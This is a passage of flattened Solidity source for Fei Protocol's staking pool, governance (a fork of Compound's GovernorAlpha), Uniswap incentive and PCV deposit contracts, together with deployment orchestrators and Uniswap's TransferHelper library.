remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b > 0, errorMessage); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } // File contracts/fei-protocol/pool/Pool.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title abstract implementation of IPool interface /// @author Fei Protocol abstract contract Pool is IPool, ERC20, ERC20Burnable, Timed { using Decimal for Decimal.D256; using SafeMath128 for uint128; using SafeCast for uint; bool internal initialized; IERC20 public override rewardToken; IERC20 public override stakedToken; uint128 public override claimedRewards; uint128 public override totalStaked; mapping (address => uint) public override stakedBalance; /// @notice Pool constructor /// @param _duration duration of the pool reward distribution /// @param _name the name of the pool token /// @param _ticker the token ticker for the pool token constructor( uint32 _duration, string memory _name, string memory _ticker ) public ERC20(_name, _ticker) Timed(_duration) {} function claim(address from, address to) external override returns(uint amountReward) { amountReward = _claim(from, to); emit Claim(from, to, amountReward); return amountReward; } function deposit(address to, uint amount) external override { address from = msg.sender; _deposit(from, to, amount); emit Deposit(from, to, amount); } function withdraw(address to) external override returns(uint amountStaked, uint amountReward) { address from = msg.sender; amountReward = _claim(from, to); amountStaked = _withdraw(from, to); emit Withdraw(from, to, amountStaked, amountReward); return (amountStaked, amountReward); } function init() public override virtual { require(!initialized, "Pool: Already initialized"); _initTimed(); initialized = true; } function redeemableReward(address account) public view override returns(uint amountReward, uint amountPool) { amountPool = _redeemablePoolTokens(account); uint totalRedeemablePool = _totalRedeemablePoolTokens(); if (totalRedeemablePool == 0) { return (0, 0); } return (releasedReward() * amountPool / totalRedeemablePool, amountPool); } function releasedReward() public view override returns (uint) { uint total = rewardBalance(); uint unreleased = unreleasedReward(); return total.sub(unreleased, "Pool: Released Reward underflow"); } function unreleasedReward() public view override returns (uint) { if (isTimeEnded()) { return 0; } return _unreleasedReward(totalReward(), uint(duration), uint(timestamp())); } function totalReward() public view override returns (uint) { return rewardBalance() + uint(claimedRewards); } function rewardBalance() public view override returns (uint) { return rewardToken.balanceOf(address(this)); } function burnFrom(address account, uint amount) public override { if (msg.sender == account) { increaseAllowance(account, amount); } super.burnFrom(account, amount); } function _totalRedeemablePoolTokens() internal view returns(uint) { uint total = totalSupply(); uint balance = _twfb(uint(totalStaked)); return total.sub(balance, "Pool: Total redeemable underflow"); } function _redeemablePoolTokens(address account) internal view returns(uint) { uint total = balanceOf(account); uint balance = _twfb(stakedBalance[account]); return total.sub(balance, "Pool: Redeemable underflow"); } function _unreleasedReward(uint _totalReward, uint _duration, uint _time) internal view virtual returns (uint); function _deposit(address from, address to, uint amount) internal { require(initialized, "Pool: Uninitialized"); require(amount <= stakedToken.balanceOf(from), "Pool: Balance too low to stake"); stakedToken.transferFrom(from, address(this), amount); stakedBalance[to] += amount; _incrementStaked(amount); uint poolTokens = _twfb(amount); require(poolTokens != 0, "Pool: Window has ended"); _mint(to, poolTokens); } function _withdraw(address from, address to) internal returns(uint amountStaked) { amountStaked = stakedBalance[from]; stakedBalance[from] = 0; stakedToken.transfer(to, amountStaked); uint amountPool = balanceOf(from); if (amountPool != 0) { _burn(from, amountPool); } return amountStaked; } function _claim(address from, address to) internal returns(uint) { (uint amountReward, uint amountPool) = redeemableReward(from); require(amountPool != 0, "Pool: User has no redeemable pool tokens"); burnFrom(from, amountPool); _incrementClaimed(amountReward); rewardToken.transfer(to, amountReward); return amountReward; } function _incrementClaimed(uint amount) internal { claimedRewards = claimedRewards.add(amount.toUint128()); } function _incrementStaked(uint amount) internal { totalStaked = totalStaked.add(amount.toUint128()); } function _twfb(uint amount) internal view returns(uint) { return amount * uint(remainingTime()); } // Updates stored staked balance pro-rata for transfer and transferFrom function _beforeTokenTransfer(address from, address to, uint amount) internal override { if (from != address(0) && to != address(0)) { Decimal.D256 memory ratio = Decimal.ratio(amount, balanceOf(from)); uint amountStaked = ratio.mul(stakedBalance[from]).asUint256(); stakedBalance[from] -= amountStaked; stakedBalance[to] += amountStaked; } } function _setTokens(address _rewardToken, address _stakedToken) internal { rewardToken = IERC20(_rewardToken); stakedToken = IERC20(_stakedToken); } } // File contracts/fei-protocol/pool/FeiPool.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title A Pool for earning TRIBE with staked FEI/TRIBE LP tokens /// @author Fei Protocol /// @notice deposited LP tokens will earn TRIBE over time at a linearly decreasing rate contract FeiPool is Pool, CoreRef { /// @notice Fei Pool constructor /// @param _core Fei Core to reference /// @param _pair Uniswap pair to stake /// @param _duration duration of staking rewards constructor(address _core, address _pair, uint32 _duration) public CoreRef(_core) Pool(_duration, "Fei USD Pool", "FPOOL") { _setTokens( address(tribe()), _pair ); } /// @notice sends tokens back to governance treasury. Only callable by governance /// @param amount the amount of tokens to send back to treasury function governorWithdraw(uint amount) external onlyGovernor { tribe().transfer(address(core()), amount); } function init() public override postGenesis { super.init(); } // Represents the integral of 2R/d - 2R/d^2 x dx from t to d // Integral equals 2Rx/d - Rx^2/d^2 // Evaluated at t = 2R*t/d (start) - R*t^2/d^2 (end) // Evaluated at d = 2R - R = R // Solution = R - (start - end) or equivalently end + R - start (latter more convenient to code) function _unreleasedReward( uint _totalReward, uint _duration, uint _time ) internal view override returns (uint) { // 2R*t/d Decimal.D256 memory start = Decimal.ratio(_totalReward, _duration).mul(2).mul(_time); // R*t^2/d^2 Decimal.D256 memory end = Decimal.ratio(_totalReward, _duration).div(_duration).mul(_time * _time); return end.add(_totalReward).sub(start).asUint256(); } } // File contracts/fei-protocol/orchestration/GenesisOrchestrator.sol pragma solidity ^0.6.0; contract GenesisOrchestrator is Ownable { function init( address core, address ethBondingCurve, address ido, address tribeFeiPair, address oracle, uint32 genesisDuration, uint maxPriceBPs, uint exhangeRateDiscount, uint32 poolDuration ) public onlyOwner returns (address genesisGroup, address pool) { pool = address(new FeiPool(core, tribeFeiPair, poolDuration)); genesisGroup = address(new GenesisGroup( core, ethBondingCurve, ido, oracle, pool, genesisDuration, maxPriceBPs, exhangeRateDiscount )); return (genesisGroup, pool); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File contracts/fei-protocol/dao/GovernorAlpha.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; // Forked from Compound // See https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol contract GovernorAlpha { /// @notice The name of this contract // solhint-disable-next-line const-name-snakecase string public constant name = "Compound Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 1000000e18; } // 1,000,000 = 10% of Tribe /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of Tribe /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Fei Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Fei governance token CompInterface public tribe; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address tribe_, address guardian_) public { timelock = TimelockInterface(timelock_); tribe = CompInterface(tribe_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(tribe.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; // solhint-disable-next-line not-rely-on-time uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction{value : proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || tribe.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; // solhint-disable-next-line not-rely-on-time } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = tribe.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); // solhint-disable-next-line func-name-mixedcase function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); } // File contracts/fei-protocol/orchestration/GovernanceOrchestrator.sol pragma solidity ^0.6.0; contract GovernanceOrchestrator is Ownable { function init(address admin, address tribe, uint timelockDelay) public onlyOwner returns ( address governorAlpha, address timelock ) { timelock = address(new Timelock(admin, timelockDelay)); governorAlpha = address(new GovernorAlpha(address(timelock), tribe, admin)); return (governorAlpha, timelock); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File contracts/fei-protocol/orchestration/IDOOrchestrator.sol pragma solidity ^0.6.0; contract IDOOrchestrator is Ownable { function init( address core, address admin, address tribe, address pair, address router, uint32 releaseWindow ) public onlyOwner returns ( address ido, address timelockedDelegator ) { ido = address(new IDO(core, admin, releaseWindow, pair, router)); timelockedDelegator = address(new TimelockedDelegator(tribe, admin, releaseWindow)); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File contracts/fei-protocol/token/UniswapIncentive.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title IUniswapIncentive implementation /// @author Fei Protocol contract UniswapIncentive is IUniswapIncentive, UniRef { using Decimal for Decimal.D256; using SafeMath32 for uint32; using SafeMath for uint; using SafeCast for uint; struct TimeWeightInfo { uint32 blockNo; uint32 weight; uint32 growthRate; bool active; } TimeWeightInfo private timeWeightInfo; uint32 public constant override TIME_WEIGHT_GRANULARITY = 100_000; mapping(address => bool) private _exempt; mapping(address => bool) private _allowlist; /// @notice UniswapIncentive constructor /// @param _core Fei Core to reference /// @param _oracle Oracle to reference /// @param _pair Uniswap Pair to incentivize /// @param _router Uniswap Router constructor( address _core, address _oracle, address _pair, address _router, uint32 _growthRate ) public UniRef(_core, _pair, _router, _oracle) { _setTimeWeight(0, _growthRate, false); } function incentivize( address sender, address receiver, address operator, uint amountIn ) external override onlyFei { updateOracle(); if (isPair(sender)) { incentivizeBuy(receiver, amountIn); } if (isPair(receiver)) { require(isSellAllowlisted(sender) || isSellAllowlisted(operator), "UniswapIncentive: Blocked Fei sender or operator"); incentivizeSell(sender, amountIn); } } function setExemptAddress(address account, bool isExempt) external override onlyGovernor { _exempt[account] = isExempt; emit ExemptAddressUpdate(account, isExempt); } function setSellAllowlisted(address account, bool isAllowed) external override onlyGovernor { _allowlist[account] = isAllowed; emit SellAllowedAddressUpdate(account, isAllowed); } function setTimeWeightGrowth(uint32 growthRate) external override onlyGovernor { TimeWeightInfo memory tw = timeWeightInfo; timeWeightInfo = TimeWeightInfo(tw.blockNo, tw.weight, growthRate, tw.active); emit GrowthRateUpdate(growthRate); } function setTimeWeight(uint32 weight, uint32 growth, bool active) external override onlyGovernor { _setTimeWeight(weight, growth, active); // TimeWeightInfo memory tw = timeWeightInfo; // timeWeightInfo = TimeWeightInfo(blockNo, tw.weight, tw.growthRate, tw.active); } function getGrowthRate() public view override returns (uint32) { return timeWeightInfo.growthRate; } function getTimeWeight() public view override returns (uint32) { TimeWeightInfo memory tw = timeWeightInfo; if (!tw.active) { return 0; } uint32 blockDelta = block.number.toUint32().sub(tw.blockNo); return tw.weight.add(blockDelta * tw.growthRate); } function isTimeWeightActive() public view override returns (bool) { return timeWeightInfo.active; } function isExemptAddress(address account) public view override returns (bool) { return _exempt[account]; } function isSellAllowlisted(address account) public view override returns(bool) { return _allowlist[account]; } function isIncentiveParity() public view override returns (bool) { uint32 weight = getTimeWeight(); require(weight != 0, "UniswapIncentive: Incentive zero or not active"); (Decimal.D256 memory price,,) = getUniswapPrice(); Decimal.D256 memory deviation = calculateDeviation(price, peg()); require(!deviation.equals(Decimal.zero()), "UniswapIncentive: Price already at or above peg"); Decimal.D256 memory incentive = calculateBuyIncentiveMultiplier(deviation, weight); Decimal.D256 memory penalty = calculateSellPenaltyMultiplier(deviation); return incentive.equals(penalty); } function getBuyIncentive(uint amount) public view override returns( uint incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) { (initialDeviation, finalDeviation) = getPriceDeviations(-1 * int256(amount)); weight = getTimeWeight(); if (initialDeviation.equals(Decimal.zero())) { return (0, weight, initialDeviation, finalDeviation); } uint incentivizedAmount = amount; if (finalDeviation.equals(Decimal.zero())) { incentivizedAmount = getAmountToPegFei(); } Decimal.D256 memory multiplier = calculateBuyIncentiveMultiplier(initialDeviation, weight); incentive = multiplier.mul(incentivizedAmount).asUint256(); return (incentive, weight, initialDeviation, finalDeviation); } function getSellPenalty(uint amount) public view override returns( uint penalty, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) { (initialDeviation, finalDeviation) = getPriceDeviations(int256(amount)); if (finalDeviation.equals(Decimal.zero())) { return (0, initialDeviation, finalDeviation); } uint incentivizedAmount = amount; if (initialDeviation.equals(Decimal.zero())) { uint amountToPeg = getAmountToPegFei(); incentivizedAmount = amount.sub(amountToPeg, "UniswapIncentive: Underflow"); } Decimal.D256 memory multiplier = calculateSellPenaltyMultiplier(finalDeviation); penalty = multiplier.mul(incentivizedAmount).asUint256(); return (penalty, initialDeviation, finalDeviation); } function incentivizeBuy(address target, uint amountIn) internal ifMinterSelf { if (isExemptAddress(target)) { return; } (uint incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation) = getBuyIncentive(amountIn); updateTimeWeight(initialDeviation, finalDeviation, weight); if (incentive != 0) { fei().mint(target, incentive); } } function incentivizeSell(address target, uint amount) internal ifBurnerSelf { if (isExemptAddress(target)) { return; } (uint penalty, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation) = getSellPenalty(amount); uint32 weight = getTimeWeight(); updateTimeWeight(initialDeviation, finalDeviation, weight); if (penalty != 0) { fei().burnFrom(target, penalty); } } function calculateBuyIncentiveMultiplier( Decimal.D256 memory deviation, uint32 weight ) internal pure returns (Decimal.D256 memory) { Decimal.D256 memory correspondingPenalty = calculateSellPenaltyMultiplier(deviation); Decimal.D256 memory buyMultiplier = deviation.mul(uint(weight)).div(uint(TIME_WEIGHT_GRANULARITY)); if (correspondingPenalty.lessThan(buyMultiplier)) { return correspondingPenalty; } return buyMultiplier; } function calculateSellPenaltyMultiplier( Decimal.D256 memory deviation ) internal pure returns (Decimal.D256 memory) { return deviation.mul(deviation).mul(100); // m^2 * 100 } function updateTimeWeight ( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation, uint32 currentWeight ) internal { // Reset after completion if (finalDeviation.equals(Decimal.zero())) { _setTimeWeight(0, getGrowthRate(), false); return; } // Init if (initialDeviation.equals(Decimal.zero())) { _setTimeWeight(0, getGrowthRate(), true); return; } uint updatedWeight = uint(currentWeight); // Partial buy if (initialDeviation.greaterThan(finalDeviation)) { Decimal.D256 memory remainingRatio = finalDeviation.div(initialDeviation); updatedWeight = remainingRatio.mul(uint(currentWeight)).asUint256(); } uint maxWeight = finalDeviation.mul(100).mul(uint(TIME_WEIGHT_GRANULARITY)).asUint256(); // m^2*100 (sell) = t*m (buy) updatedWeight = Math.min(updatedWeight, maxWeight); _setTimeWeight(updatedWeight.toUint32(), getGrowthRate(), true); } function _setTimeWeight(uint32 weight, uint32 growthRate, bool active) internal { uint32 currentGrowth = getGrowthRate(); uint32 blockNo = block.number.toUint32(); timeWeightInfo = TimeWeightInfo(blockNo, weight, growthRate, active); emit TimeWeightUpdate(weight, active); if (currentGrowth != growthRate) { emit GrowthRateUpdate(growthRate); } } } // File contracts/fei-protocol/orchestration/IncentiveOrchestrator.sol pragma solidity ^0.6.0; contract IncentiveOrchestrator is Ownable { UniswapIncentive public uniswapIncentive; function init( address core, address bondingCurveOracle, address pair, address router, uint32 growthRate ) public onlyOwner returns(address) { return address(new UniswapIncentive(core, bondingCurveOracle, pair, router, growthRate)); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File contracts/fei-protocol/pcv/UniswapPCVDeposit.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title abstract implementation for Uniswap LP PCV Deposit /// @author Fei Protocol abstract contract UniswapPCVDeposit is IPCVDeposit, UniRef { using Decimal for Decimal.D256; /// @notice Uniswap PCV Deposit constructor /// @param _core Fei Core for reference /// @param _pair Uniswap Pair to deposit to /// @param _router Uniswap Router /// @param _oracle oracle for reference constructor( address _core, address _pair, address _router, address _oracle ) public UniRef(_core, _pair, _router, _oracle) {} function withdraw(address to, uint amountUnderlying) external override onlyPCVController { uint totalUnderlying = totalValue(); require(amountUnderlying <= totalUnderlying, "UniswapPCVDeposit: Insufficient underlying"); uint totalLiquidity = liquidityOwned(); Decimal.D256 memory ratioToWithdraw = Decimal.ratio(amountUnderlying, totalUnderlying); uint liquidityToWithdraw = ratioToWithdraw.mul(totalLiquidity).asUint256(); uint amountWithdrawn = _removeLiquidity(liquidityToWithdraw); _transferWithdrawn(to, amountWithdrawn); _burnFeiHeld(); emit Withdrawal(msg.sender, to, amountWithdrawn); } function totalValue() public view override returns(uint) { (, uint tokenReserves) = getReserves(); return ratioOwned().mul(tokenReserves).asUint256(); } function _getAmountFeiToDeposit(uint amountToken) internal view returns (uint amountFei) { (uint feiReserves, uint tokenReserves) = getReserves(); if (feiReserves == 0 || tokenReserves == 0) { return peg().mul(amountToken).asUint256(); } return UniswapV2Library.quote(amountToken, tokenReserves, feiReserves); } function _removeLiquidity(uint amount) internal virtual returns(uint); function _transferWithdrawn(address to, uint amount) internal virtual; } // File contracts/fei-protocol/pcv/EthUniswapPCVDeposit.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title implementation for an ETH Uniswap LP PCV Deposit /// @author Fei Protocol contract EthUniswapPCVDeposit is UniswapPCVDeposit { using Address for address payable; /// @notice ETH Uniswap PCV Deposit constructor /// @param _core Fei Core for reference /// @param _pair Uniswap Pair to deposit to /// @param _router Uniswap Router /// @param _oracle oracle for reference constructor( address _core, address _pair, address _router, address _oracle ) public UniswapPCVDeposit(_core, _pair, _router, _oracle) {} receive() external payable {} function deposit(uint ethAmount) external override payable postGenesis { require(ethAmount == msg.value, "Bonding Curve: Sent value does not equal input"); uint feiAmount = _getAmountFeiToDeposit(ethAmount); _addLiquidity(ethAmount, feiAmount); emit Deposit(msg.sender, ethAmount); } function _removeLiquidity(uint liquidity) internal override returns (uint) { (, uint amountWithdrawn) = router.removeLiquidityETH( address(fei()), liquidity, 0, 0, address(this), uint(-1) ); return amountWithdrawn; } function _transferWithdrawn(address to, uint amount) internal override { payable(to).sendValue(amount); } function _addLiquidity(uint ethAmount, uint feiAmount) internal { _mintFei(feiAmount); router.addLiquidityETH{value : ethAmount}(address(fei()), feiAmount, 0, 0, address(this), uint(-1) ); } } // File contracts/fei-protocol/orchestration/PCVDepositOrchestrator.sol pragma solidity ^0.6.0; contract PCVDepositOrchestrator is Ownable { function init( address core, address pair, address router, address oraclePair, uint32 twapDuration, bool price0 ) public onlyOwner returns( address ethUniswapPCVDeposit, address uniswapOracle ) { uniswapOracle = address(new UniswapOracle(core, oraclePair, twapDuration, price0 )); ethUniswapPCVDeposit = address(new EthUniswapPCVDeposit(core, pair, router, uniswapOracle)); return ( ethUniswapPCVDeposit, uniswapOracle ); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File @uniswap/lib/contracts/libraries/[email protected] // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // File contracts/fei-protocol/router/IUniswapSingleEthRouter.sol pragma solidity ^0.6.0; /// @title A Uniswap Router for token/ETH swaps /// @author Fei Protocol interface IUniswapSingleEthRouter { // ----------- state changing api ----------- /// @notice swap ETH for tokens with some protections /// @param amountOutMin minimum tokens received /// @param to address to send tokens /// @param deadline block timestamp after which trade is invalid /// @return amountOut the amount of tokens received function swapExactETHForTokens( uint amountOutMin, address to, uint deadline ) external payable returns(uint amountOut); /// @notice swap tokens for ETH with some protections /// @param amountIn amount of tokens to sell /// @param amountOutMin minimum ETH received /// @param to address to send ETH /// @param deadline block timestamp after which trade is invalid /// @return amountOut the amount of ETH received function swapExactTokensForETH( uint amountIn, uint amountOutMin, address to, uint deadline ) external returns (uint amountOut); } // File contracts/fei-protocol/router/UniswapSingleEthRouter.sol pragma solidity ^0.6.0; contract UniswapSingleEthRouter is IUniswapSingleEthRouter { IWETH public immutable WETH; IUniswapV2Pair public immutable PAIR; constructor( address pair, address weth ) public { PAIR 